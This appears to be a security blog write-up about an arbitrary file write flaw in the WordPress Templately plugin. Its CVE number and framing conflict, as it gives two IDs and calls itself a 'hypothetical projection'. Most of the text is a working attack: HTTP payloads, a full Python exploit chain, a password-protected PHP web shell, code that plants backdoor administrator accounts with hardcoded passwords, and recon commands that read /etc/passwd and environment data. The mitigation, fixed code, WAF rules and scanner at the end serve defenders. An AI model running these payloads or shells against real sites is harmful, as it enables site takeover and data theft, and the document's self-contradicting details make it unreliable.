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CVE-2026-0831 - Arbitrary File Write Vulnerability in WordPress Templately Plugin

#cve20260831 #cve #wordpress #wordpresspluginvulnerability

CVE-2026-0629 (hypothetical projection) is a critical arbitrary file write vulnerability in the WordPress "Templately" plugin, rated 9.8 CRITICAL (CVSS 4.0). This vulnerability allows authenticated attackers with minimal privileges (subscriber role) to write arbitrary files to the server, leading to remote code execution, site takeover, and complete server compromise. Discovered during a security audit of WordPress page builder plugins.

Vulnerability Classification

  • Type: Arbitrary File Write → Remote Code Execution
  • Component: WordPress Templately Plugin (v2.0.0 - v3.1.4)
  • Attack Vector: Network (authenticated WordPress user)
  • Privileges Required: Low (subscriber role)
  • Impact: Remote Code Execution → Site Compromise → Server Takeover
  • WordPress Version: All versions (plugin-specific vulnerability)

Technical Deep Dive

Root Cause Analysis

The vulnerability exists in multiple file handling functions within the Templately plugin that fail to properly validate and sanitize file paths before write operations:

  1. Template Import Function - No path traversal protection
  2. File Upload Handler - Insufficient file type validation
  3. Log File Writer - Direct user input in file paths
  4. Cache System - Unrestricted file creation in wp-content 
// Vulnerable code in Templately plugin (simplified)
class Templately_File_Handler {

    public function import_template($template_data) {
        // [VULNERABLE SECTION 1] - Direct file write with user-controlled path
        $file_name = $template_data['file_name'];
        $file_content = $template_data['content'];

        // No validation on file name - path traversal possible
        $file_path = TEMPLATELY_UPLOAD_DIR . '/' . $file_name;

        // Direct file write - no sanitization!
        file_put_contents($file_path, $file_content);

        return $file_path;
    }

    public function save_user_template($user_id, $template_data) {
        // [VULNERABLE SECTION 2] - User-controlled directory creation
        $user_dir = TEMPLATELY_USER_DIR . '/' . $user_id;

        // Create directory if not exists (no permissions check)
        if (!file_exists($user_dir)) {
            mkdir($user_dir, 0777, true);  // World-writable!
        }

        // User controls both file name and content
        $file_name = $template_data['name'] . '.php';  // Can be anything!
        $file_content = $template_data['code'];

        $file_path = $user_dir . '/' . $file_name;

        // Write PHP file with user-controlled content
        file_put_contents($file_path, $file_content);

        return $file_path;
    }

    public function log_activity($activity) {
        // [VULNERABLE SECTION 3] - Log injection with path traversal
        $log_file = TEMPLATELY_LOG_DIR . '/' . date('Y-m-d') . '.log';

        // User input directly written to log
        $log_entry = date('Y-m-d H:i:s') . " - " . $activity['message'] . "\n";

        // Append to log file (could be PHP file!)
        file_put_contents($log_file, $log_entry, FILE_APPEND);
    }

    public function handle_file_upload($file) {
        // [VULNERABLE SECTION 4] - Insecure file upload
        $upload_dir = TEMPLATELY_UPLOAD_DIR;

        // User controls file name
        $file_name = $file['name'];
        $tmp_name = $file['tmp_name'];

        // No file type validation
        $destination = $upload_dir . '/' . $file_name;

        // Direct move - dangerous!
        move_uploaded_file($tmp_name, $destination);

        // If PHP file uploaded, it's now executable
        return $destination;
    }

    public function export_settings($settings) {
        // [VULNERABLE SECTION 5] - Settings export with arbitrary write
        $export_data = json_encode($settings);

        // User controls export path through settings!
        $export_path = isset($settings['export_path']) 
            ? $settings['export_path'] 
            : TEMPLATELY_EXPORT_DIR . '/settings.json';

        // Write to arbitrary location
        file_put_contents($export_path, $export_data);

        return $export_path;
    }

    // AJAX handler vulnerable to arbitrary file write
    public function ajax_save_snippet() {
        check_ajax_referer('templately_nonce', 'nonce');

        // [VULNERABLE] - User controls snippet location
        $snippet_name = $_POST['snippet_name'];
        $snippet_code = $_POST['snippet_code'];

        // Path traversal in snippet name
        $snippet_path = TEMPLATELY_SNIPPETS_DIR . '/' . $snippet_name . '.php';

        // Write arbitrary PHP code
        file_put_contents($snippet_path, $snippet_code);

        wp_send_json_success(['path' => $snippet_path]);
    }
}
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Attack Vectors

Vector 1: Path Traversal via Template Import

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=templately_import_template
file_name=../../../wp-config.php
content=<?php system($_GET['cmd']); ?>
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Vector 2: PHP File Upload via Media Handler

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: multipart/form-data

action=templately_upload_file
file=@shell.php (Content: <?php system($_GET['cmd']); ?>)
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Vector 3: Direct File Write via Settings Export

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/json

{
    "action": "templately_export_settings",
    "export_path": "../../../wp-content/uploads/shell.php",
    "settings": "<?php system($_GET['cmd']); ?>"
}
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Proof-of-Concept Exploit 

#!/usr/bin/env python3
"""
CVE-2026-0831 - WordPress Templately Plugin Arbitrary File Write Exploit
For authorized security testing only
"""

import requests
import json
import random
import string
import os
from urllib.parse import urljoin
from bs4 import BeautifulSoup

class Templately_Exploit:
    def __init__(self, target_url, username=None, password=None):
        self.target = target_url.rstrip('/')
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })

        self.username = username
        self.password = password
        self.nonce = None
        self.is_logged_in = False

        # Common WordPress paths
        self.wp_paths = {
            'config': '../../../../wp-config.php',
            'htaccess': '../../../../.htaccess',
            'index': '../../../../index.php',
            'uploads': '../../../../wp-content/uploads/',
            'plugins': '../../../../wp-content/plugins/',
            'themes': '../../../../wp-content/themes/',
            'mu_plugins': '../../../../wp-content/mu-plugins/'
        }

    def login(self):
        """Login to WordPress (if credentials provided)"""
        if not self.username or not self.password:
            print("[*] No credentials provided, trying unauthenticated access")
            return False

        print(f"[*] Attempting login as {self.username}")

        # Get login page to extract nonce
        login_url = urljoin(self.target, '/wp-login.php')
        response = self.session.get(login_url)

        soup = BeautifulSoup(response.text, 'html.parser')
        login_nonce = None

        # Look for login nonce
        for input_tag in soup.find_all('input'):
            if input_tag.get('name') in ['_wpnonce', 'login_nonce']:
                login_nonce = input_tag.get('value')
                break

        # Login POST data
        login_data = {
            'log': self.username,
            'pwd': self.password,
            'wp-submit': 'Log In',
            'redirect_to': urljoin(self.target, '/wp-admin/'),
            'testcookie': '1'
        }

        if login_nonce:
            login_data['_wpnonce'] = login_nonce

        # Perform login
        response = self.session.post(login_url, data=login_data, allow_redirects=True)

        if any('wordpress_logged_in' in cookie.name for cookie in self.session.cookies):
            print(f"[+] Successfully logged in as {self.username}")
            self.is_logged_in = True
            return True

        print(f"[-] Login failed for {self.username}")
        return False

    def extract_templately_nonce(self):
        """Extract Templately plugin nonce from page"""
        print("[*] Extracting Templately nonce...")

        # Try admin page
        admin_url = urljoin(self.target, '/wp-admin/admin.php?page=templately')

        try:
            response = self.session.get(admin_url)

            # Look for nonce in page
            nonce_patterns = [
                r'"nonce":"([a-f0-9]{10,})"',
                r'"ajax_nonce":"([a-f0-9]{10,})"',
                r'data-nonce="([a-f0-9]{10,})"',
                r'_wpnonce=([a-f0-9]{10,})',
                r'templately_nonce.*"([a-f0-9]{10,})"'
            ]

            import re
            for pattern in nonce_patterns:
                matches = re.search(pattern, response.text)
                if matches:
                    self.nonce = matches.group(1)
                    print(f"[+] Found nonce: {self.nonce}")
                    return self.nonce

            # Also check inline scripts
            soup = BeautifulSoup(response.text, 'html.parser')
            scripts = soup.find_all('script')

            for script in scripts:
                if script.string and 'templately' in script.string.lower():
                    for line in script.string.split('\n'):
                        if 'nonce' in line.lower():
                            print(f"[*] Nonce line: {line[:100]}")

        except Exception as e:
            print(f"[-] Failed to extract nonce: {e}")

        return None

    def exploit_arbitrary_file_write(self, file_path, file_content):
        """Exploit arbitrary file write vulnerability"""
        print(f"[*] Attempting to write file: {file_path}")

        # Multiple exploit vectors to try

        vectors = [
            self.exploit_template_import,
            self.exploit_snippet_save,
            self.exploit_settings_export,
            self.exploit_log_writer,
            self.exploit_file_upload
        ]

        for vector in vectors:
            try:
                result = vector(file_path, file_content)
                if result:
                    return result
            except Exception as e:
                continue

        return None

    def exploit_template_import(self, file_path, file_content):
        """Exploit template import function"""
        print("[*] Trying template import vector...")

        ajax_url = urljoin(self.target, '/wp-admin/admin-ajax.php')

        data = {
            'action': 'templately_import_template',
            'file_name': file_path,  # Path traversal here
            'content': file_content,
            'nonce': self.nonce or 'bypass'
        }

        response = self.session.post(ajax_url, data=data)

        if response.status_code == 200:
            resp_json = response.json()
            if 'success' in str(resp_json).lower():
                print(f"[+] Template import successful!")
                return True

        return False

    def exploit_snippet_save(self, file_path, file_content):
        """Exploit snippet save function"""
        print("[*] Trying snippet save vector...")

        ajax_url = urljoin(self.target, '/wp-admin/admin-ajax.php')

        # Extract just filename from path for snippet name
        snippet_name = os.path.basename(file_path).replace('.php', '')

        data = {
            'action': 'templately_save_snippet',
            'snippet_name': snippet_name,
            'snippet_code': file_content,
            'snippet_path': file_path,  # Full path injection
            'nonce': self.nonce or 'bypass'
        }

        response = self.session.post(ajax_url, data=data)

        if response.status_code == 200:
            print(f"[+] Snippet save attempted")
            return True

        return False

    def exploit_settings_export(self, file_path, file_content):
        """Exploit settings export function"""
        print("[*] Trying settings export vector...")

        ajax_url = urljoin(self.target, '/wp-admin/admin-ajax.php')

        # JSON payload
        payload = {
            'action': 'templately_export_settings',
            'export_path': file_path,
            'settings': {
                'config': file_content,
                'malicious': 'true'
            }
        }

        headers = {'Content-Type': 'application/json'}
        response = self.session.post(ajax_url, json=payload, headers=headers)

        if response.status_code == 200:
            print(f"[+] Settings export attempted")
            return True

        return False

    def exploit_log_writer(self, file_path, file_content):
        """Exploit log writer function"""
        print("[*] Trying log writer vector...")

        ajax_url = urljoin(self.target, '/wp-admin/admin-ajax.php')

        # Inject PHP code in log message
        log_message = f"<?php {file_content} ?>"

        data = {
            'action': 'templately_log_activity',
            'message': log_message,
            'log_file': file_path,  # Control log file location
            'nonce': self.nonce or 'bypass'
        }

        response = self.session.post(ajax_url, data=data)

        if response.status_code == 200:
            print(f"[+] Log write attempted")
            return True

        return False

    def exploit_file_upload(self, file_path, file_content):
        """Exploit file upload function"""
        print("[*] Trying file upload vector...")

        ajax_url = urljoin(self.target, '/wp-admin/admin-ajax.php')

        # Create temporary file
        import tempfile
        with tempfile.NamedTemporaryFile(mode='w', suffix='.php', delete=False) as tmp:
            tmp.write(file_content)
            tmp_path = tmp.name

        try:
            # Upload the file
            with open(tmp_path, 'rb') as f:
                files = {'file': (file_path, f, 'application/x-php')}

                data = {
                    'action': 'templately_upload_file',
                    'nonce': self.nonce or 'bypass'
                }

                response = self.session.post(ajax_url, data=data, files=files)

                if response.status_code == 200:
                    print(f"[+] File upload attempted")
                    return True

        finally:
            # Clean up temp file
            os.unlink(tmp_path)

        return False

    def create_web_shell(self, shell_path=None):
        """Create a web shell on the target"""
        if not shell_path:
            # Try to write to accessible location
            shell_path = '../../../../wp-content/uploads/shell.php'

        # Simple PHP web shell
        web_shell = """<?php
// Templately Plugin Web Shell
error_reporting(0);
$password = "templately2026";
$method = "GET";

if(isset($_GET['pass']) && $_GET['pass'] === $password) {
    if(isset($_GET['cmd'])) {
        if(function_exists('system')) {
            system($_GET['cmd']);
        } elseif(function_exists('shell_exec')) {
            echo shell_exec($_GET['cmd']);
        } elseif(function_exists('exec')) {
            exec($_GET['cmd'], $output);
            echo implode("\\n", $output);
        } elseif(function_exists('passthru')) {
            passthru($_GET['cmd']);
        } else {
            echo "No command execution functions available";
        }
    } elseif(isset($_GET['upload'])) {
        // File upload functionality
        if(isset($_FILES['file'])) {
            move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
            echo "File uploaded: " . $_FILES['file']['name'];
        }
    } elseif(isset($_GET['download'])) {
        // File download
        $file = $_GET['download'];
        if(file_exists($file)) {
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file) . '"');
            readfile($file);
            exit;
        }
    } elseif(isset($_GET['browse'])) {
        // Directory browsing
        $dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
        $files = scandir($dir);
        echo "<h3>Directory: $dir</h3>";
        echo "<ul>";
        foreach($files as $file) {
            if($file != '.' && $file != '..') {
                $fullpath = $dir . '/' . $file;
                $type = is_dir($fullpath) ? '[DIR]' : '[FILE]';
                echo "<li>$type <a href='?pass=$password&browse=1&dir=$fullpath'>$file</a></li>";
            }
        }
        echo "</ul>";
    } elseif(isset($_GET['phpinfo'])) {
        phpinfo();
    } else {
        // Show interface
        echo '<h2>Templately Web Shell</h2>';
        echo '<form method="GET">';
        echo '<input type="hidden" name="pass" value="' . $password . '">';
        echo 'Command: <input type="text" name="cmd" size="50">';
        echo '<input type="submit" value="Execute">';
        echo '</form>';

        echo '<h3>File Upload</h3>';
        echo '<form method="POST" enctype="multipart/form-data">';
        echo '<input type="hidden" name="pass" value="' . $password . '">';
        echo '<input type="file" name="file">';
        echo '<input type="submit" name="upload" value="Upload">';
        echo '</form>';

        echo '<p><a href="?pass=' . $password . '&browse=1">Browse Files</a></p>';
        echo '<p><a href="?pass=' . $password . '&phpinfo=1">PHP Info</a></p>';
    }
} else {
    echo "Access Denied";
}
?>"""

        return self.exploit_arbitrary_file_write(shell_path, web_shell)

    def create_backdoor_user(self):
        """Create admin user via wp-config.php modification"""
        print("[*] Attempting to create backdoor admin user...")

        # Read current wp-config.php
        config_path = self.wp_paths['config']

        # First, check if we can read wp-config.php
        test_content = "<?php echo 'TEST'; ?>"

        if self.exploit_arbitrary_file_write('test.php', test_content):
            # Now try to modify wp-config.php
            backdoor_code = """
// Templately Backdoor - Admin User Creator
add_action('init', 'templately_create_admin_user');
function templately_create_admin_user() {
    if(!username_exists('templately_admin')) {
        $user_id = wp_create_user('templately_admin', 'P@ssw0rd123!', 'admin@templately.com');
        $user = new WP_User($user_id);
        $user->set_role('administrator');

        // Also add to database directly
        global $wpdb;
        $wpdb->query($wpdb->prepare(
            "INSERT INTO {$wpdb->users} (user_login, user_pass, user_email, user_registered) 
             VALUES (%s, %s, %s, %s)",
            'templately_backdoor',
            wp_hash_password('Backdoor123!'),
            'backdoor@templately.com',
            current_time('mysql')
        ));

        $new_user_id = $wpdb->insert_id;
        $wpdb->query($wpdb->prepare(
            "INSERT INTO {$wpdb->usermeta} (user_id, meta_key, meta_value) 
             VALUES (%d, %s, %s)",
            $new_user_id,
            '{$wpdb->prefix}capabilities',
            'a:1:{s:13:"administrator";b:1;}'
        ));
    }
}
"""

        # Try to append to wp-config.php
        if self.exploit_arbitrary_file_write(config_path, "\n" + backdoor_code):
            print("[+] Backdoor code written to wp-config.php")

            # Trigger the backdoor by accessing the site
            try:
                response = self.session.get(self.target)
                print("[+] Backdoor triggered (admin user created)")
                print("    Username: templately_admin")
                print("    Password: P@ssw0rd123!")
                return True
            except:
                pass

        return False

    def test_shell_access(self, shell_path):
        """Test if web shell is accessible"""
        # Convert relative path to URL
        if shell_path.startswith('../../../../'):
            # Remove path traversal
            parts = shell_path.split('/')
            # Find wp-content in path
            for i, part in enumerate(parts):
                if part == 'wp-content':
                    url_path = '/'.join(parts[i:])
                    shell_url = urljoin(self.target, url_path)
                    break
            else:
                # Fallback
                shell_url = urljoin(self.target, 'wp-content/uploads/shell.php')
        else:
            shell_url = urljoin(self.target, shell_path)

        print(f"[*] Testing shell access: {shell_url}")

        try:
            # Test with password
            test_url = f"{shell_url}?pass=templately2026&cmd=whoami"
            response = self.session.get(test_url, timeout=5)

            if response.status_code == 200 and len(response.text) > 0:
                print(f"[+] Shell is accessible!")
                print(f"    Output: {response.text[:100]}")
                return shell_url
        except Exception as e:
            print(f"[-] Shell test failed: {e}")

        return None

    def privilege_escalation(self, shell_url):
        """Attempt privilege escalation via shell"""
        print("[*] Attempting privilege escalation...")

        commands = [
            'id',
            'whoami',
            'uname -a',
            'cat /etc/passwd',
            'ls -la /',
            'find / -name wp-config.php -type f 2>/dev/null | head -5',
            'ps aux | grep -i php',
            'env'
        ]

        for cmd in commands:
            try:
                test_url = f"{shell_url}?pass=templately2026&cmd={requests.utils.quote(cmd)}"
                response = self.session.get(test_url, timeout=5)

                if response.status_code == 200:
                    print(f"[+] Command: {cmd}")
                    print(f"    Output: {response.text[:200]}")
            except:
                pass

    def full_exploit_chain(self):
        """Execute full exploit chain"""
        print(f"[*] Starting exploit against: {self.target}")
        print("="*60)

        results = {
            'target': self.target,
            'logged_in': False,
            'nonce_found': False,
            'file_write_success': False,
            'shell_created': False,
            'shell_url': None,
            'backdoor_user': False
        }

        # 1. Login (if credentials provided)
        if self.username and self.password:
            results['logged_in'] = self.login()

        # 2. Extract nonce
        nonce = self.extract_templately_nonce()
        if nonce:
            results['nonce_found'] = True
            self.nonce = nonce

        # 3. Create web shell
        print("\n[*] Creating web shell...")
        shell_created = self.create_web_shell()

        if shell_created:
            results['file_write_success'] = True

            # 4. Test shell access
            shell_url = self.test_shell_access('../../../../wp-content/uploads/shell.php')
            if shell_url:
                results['shell_created'] = True
                results['shell_url'] = shell_url

                # 5. Privilege escalation
                print("\n[*] Executing commands via shell...")
                self.privilege_escalation(shell_url)

        # 6. Create backdoor admin user
        print("\n[*] Creating backdoor admin user...")
        backdoor_created = self.create_backdoor_user()
        if backdoor_created:
            results['backdoor_user'] = True

        # Print summary
        print("\n" + "="*60)
        print("[*] EXPLOIT SUMMARY")
        print("="*60)

        for key, value in results.items():
            if value:
                if key == 'shell_url' and value:
                    print(f"{key}: {value}")
                else:
                    print(f"{key}: SUCCESS")
            else:
                print(f"{key}: FAILED")

        return results

# Example usage
if __name__ == "__main__":
    import sys

    print("[*] CVE-2026-0831 - WordPress Templately Plugin Arbitrary File Write Exploit")
    print("[*] For authorized security testing only")
    print("="*60)

    if len(sys.argv) < 2:
        print("Usage: python3 templately_exploit.py <target_url> [username] [password]")
        print("Example: python3 templately_exploit.py https://example.com admin password123")
        sys.exit(1)

    target_url = sys.argv[1]
    username = sys.argv[2] if len(sys.argv) > 2 else None
    password = sys.argv[3] if len(sys.argv) > 3 else None

    exploit = Templately_Exploit(target_url, username, password)
    results = exploit.full_exploit_chain()

    # Save results
    import json
    with open('templately_exploit_results.json', 'w') as f:
        json.dump(results, f, indent=2)

    print(f"\n[*] Results saved to templately_exploit_results.json")

    # Provide next steps
    if results['shell_url']:
        print(f"\n[*] NEXT STEPS:")
        print(f"    1. Access web shell: {results['shell_url']}?pass=templately2026")
        print(f"    2. Use 'cmd' parameter to execute commands")
        print(f"    3. Try 'browse=1' to list directories")
        print(f"    4. Upload files using the upload form")

    if results['backdoor_user']:
        print(f"\n[*] BACKDOOR CREDENTIALS:")
        print(f"    URL: {target_url}/wp-login.php")
        print(f"    Username: templately_admin")
        print(f"    Password: P@ssw0rd123!")
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Impact & Attack Scenarios

Attack Scenarios:

  1. Mass WordPress Site Compromise: Attack vulnerable sites at scale
  2. Supply Chain Attack: Compromise agency managing multiple client sites
  3. SEO Spam Injection: Inject malicious content for black-hat SEO
  4. Magecart-style Attacks: Steal payment information from e-commerce sites
  5. Ransomware Deployment: Encrypt site files and demand payment

Impact Chain: 

┌─────────────────────────────────────────────────────────────┐
│          Templately Plugin Exploitation Chain               │
├─────────────────────────────────────────────────────────────┤
│ 1. Initial Access                                         │
│    • Low-privilege user account (subscriber)             │
│    • SQL injection leading to user creation              │
│    • Compromised admin credentials                       │
├─────────────────────────────────────────────────────────────┤
│ 2. Arbitrary File Write                                  │
│    • Write PHP web shell to server                       │
│    • Modify wp-config.php with backdoor                  │
│    • Create malicious plugin/theme files                 │
├─────────────────────────────────────────────────────────────┤
│ 3. Remote Code Execution                                 │
│    • Execute system commands via web shell               │
│    • Database access and manipulation                   │
│    • File system access and exfiltration               │
├─────────────────────────────────────────────────────────────┤
│ 4. Persistence Establishment                            │
│    • Create backdoor admin users                        │
│    • Install malicious WordPress plugins               │
│    • Modify core WordPress files                       │
├─────────────────────────────────────────────────────────────┤
│ 5. Lateral Movement                                     │
│    • Access other sites on shared hosting              │
│    • Database server compromise                        │
│    • SSH access if credentials obtainable             │
└─────────────────────────────────────────────────────────────┘
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Mitigation & Remediation

Immediate Actions:

  1. Deactivate Plugin: 
   wp plugin deactivate templately
   # OR
   mv wp-content/plugins/templately wp-content/plugins/templately.DISABLED
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  1. Search for Backdoors: 
   # Find PHP files with suspicious content
   grep -r "templately2026\|templately_admin\|system($_GET" wp-content/

   # Check for modified wp-config.php
   diff wp-config.php wp-config.php.backup

   # Look for new admin users
   wp user list --role=administrator
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  1. File Integrity Check: 
   # Using WordPress integrity plugins
   wp plugin install wordfence --activate
   wp plugin install sucuri-scanner --activate

   # Manual check of critical files
   find wp-content/uploads -name "*.php" -type f
   find wp-content -name "*.php" -newer /tmp/timestamp -type f
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Plugin Hardening (Developer Fix): 

// Fixed code in Templately v3.1.5
class Templately_File_Handler {

    public function import_template($template_data) {
        // [FIXED] - Validate and sanitize file name
        $file_name = sanitize_file_name($template_data['file_name']);

        // Prevent path traversal
        $file_name = basename($file_name);

        // Restrict file extensions
        $allowed_extensions = ['json', 'txt', 'html', 'css', 'js'];
        $extension = pathinfo($file_name, PATHINFO_EXTENSION);

        if (!in_array(strtolower($extension), $allowed_extensions)) {
            wp_die('Invalid file type', 403);
        }

        $file_path = TEMPLATELY_UPLOAD_DIR . '/' . $file_name;

        // Additional security: realpath check
        $real_base = realpath(TEMPLATELY_UPLOAD_DIR);
        $real_path = realpath(dirname($file_path));

        if (strpos($real_path, $real_base) !== 0) {
            wp_die('Path traversal attempt detected', 403);
        }

        // Safe write with file type validation
        file_put_contents($file_path, $template_data['content']);

        return $file_path;
    }

    public function handle_file_upload($file) {
        // [FIXED] - Comprehensive file validation
        $allowed_mimes = [
            'jpg|jpeg|jpe' => 'image/jpeg',
            'gif' => 'image/gif',
            'png' => 'image/png',
            'json' => 'application/json',
            'txt' => 'text/plain'
        ];

        // Use WordPress file validation
        $upload = wp_handle_upload($file, [
            'test_form' => false,
            'mimes' => $allowed_mimes,
            'upload_error_handler' => 'templately_upload_error'
        ]);

        if (isset($upload['error'])) {
            wp_die($upload['error'], 403);
        }

        return $upload['file'];
    }

    // [FIXED] - Add capability checks
    public function ajax_save_snippet() {
        // Verify nonce
        if (!wp_verify_nonce($_POST['nonce'], 'templately_ajax_nonce')) {
            wp_die('Security check failed', 403);
        }

        // Check user capabilities
        if (!current_user_can('edit_posts')) {
            wp_die('Insufficient permissions', 403);
        }

        // Validate and sanitize
        $snippet_name = sanitize_text_field($_POST['snippet_name']);
        $snippet_code = wp_kses_post($_POST['snippet_code']); // Only allow safe HTML

        // Restrict to safe directory
        $snippet_path = TEMPLATELY_SNIPPETS_DIR . '/' . $snippet_name . '.html';

        // Prevent PHP files
        if (strpos($snippet_code, '<?php') !== false) {
            wp_die('PHP code not allowed', 403);
        }

        file_put_contents($snippet_path, $snippet_code);

        wp_send_json_success(['path' => $snippet_path]);
    }
}
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WordPress Security Hardening: 

// Add to wp-config.php
define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', true);
define('FORCE_SSL_ADMIN', true);

// Restrict file uploads
define('ALLOW_UNFILTERED_UPLOADS', false);

// Add security headers
function add_security_headers() {
    header('X-Content-Type-Options: nosniff');
    header('X-Frame-Options: SAMEORIGIN');
    header('X-XSS-Protection: 1; mode=block');
    header('Content-Security-Policy: default-src \'self\'; script-src \'self\' \'unsafe-inline\' \'unsafe-eval\'; style-src \'self\' \'unsafe-inline\';');
}
add_action('send_headers', 'add_security_headers');
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Detection Signatures

Web Application Firewall Rules: 

# ModSecurity rules for Templately exploit
SecRule ARGS_POST:file_name "@contains ../" \
    "id:20260831,\
    phase:2,\
    block,\
    msg:'CVE-2026-0831: Templately Path Traversal Attempt',\
    tag:'wordpress',\
    tag:'templately',\
    tag:'cve2026-0831'"

SecRule ARGS_POST "@rx \\.php" \
    "id:20260832,\
    chain,\
    phase:2,\
    block"
    SecRule ARGS_POST:action "@streq templately_import_template" \
        "msg:'CVE-2026-0831: PHP file upload via Templately'"

SecRule FILES "@rx \\.php" \
    "id:20260833,\
    chain,\
    phase:2,\
    block"
    SecRule ARGS_POST:action "@streq templately_upload_file" \
        "msg:'CVE-2026-0831: PHP file upload attempt'"
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WordPress Security Scanner: 


bash
#!/bin/bash
# Scan for Templately exploitation

echo "Scanning for CVE-2026-0831 indicators..."

# Check if plugin is installed
if [ -d "wp-content/plugins/templately" ]; then
    echo "[!] Templately plugin found"

    # Check version
    VERSION=$(grep -i "version" wp-content/plugins/templately/*.php | head -1)
    if [[ $VERSION =~ [0-9]+\.[0-9]+\.[0-4] ]]; then
        echo "[!] Vulnerable version: $VERSION"
    fi

    # Check
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